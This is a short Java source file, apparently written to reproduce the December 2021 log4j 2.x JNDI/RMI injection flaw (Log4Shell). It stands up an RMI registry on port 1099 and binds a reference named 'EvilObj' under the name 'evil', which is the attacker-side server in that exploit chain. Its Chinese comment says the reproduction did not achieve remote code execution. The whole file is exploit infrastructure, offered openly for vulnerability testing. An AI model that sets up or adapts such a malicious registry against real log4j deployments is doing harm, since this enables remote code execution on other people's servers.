package com.fulu.log4j.rmibug;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 2021-12-12 log4j 2.x暴露rmi注入漏洞，
 * 测试部分复现漏洞情况，未成功执行远程代码
 * 参考
 */
public class RMIServer {
    public static void main(String[] args) {
        try {
//            System.setProperty("java.rmi.server.hostname", "192.168.5.6");
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry("192.168.5.2");
            System.out.println("Create registry on 1099");
            Reference reference = new Reference("EvilObj", "EvilObj", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}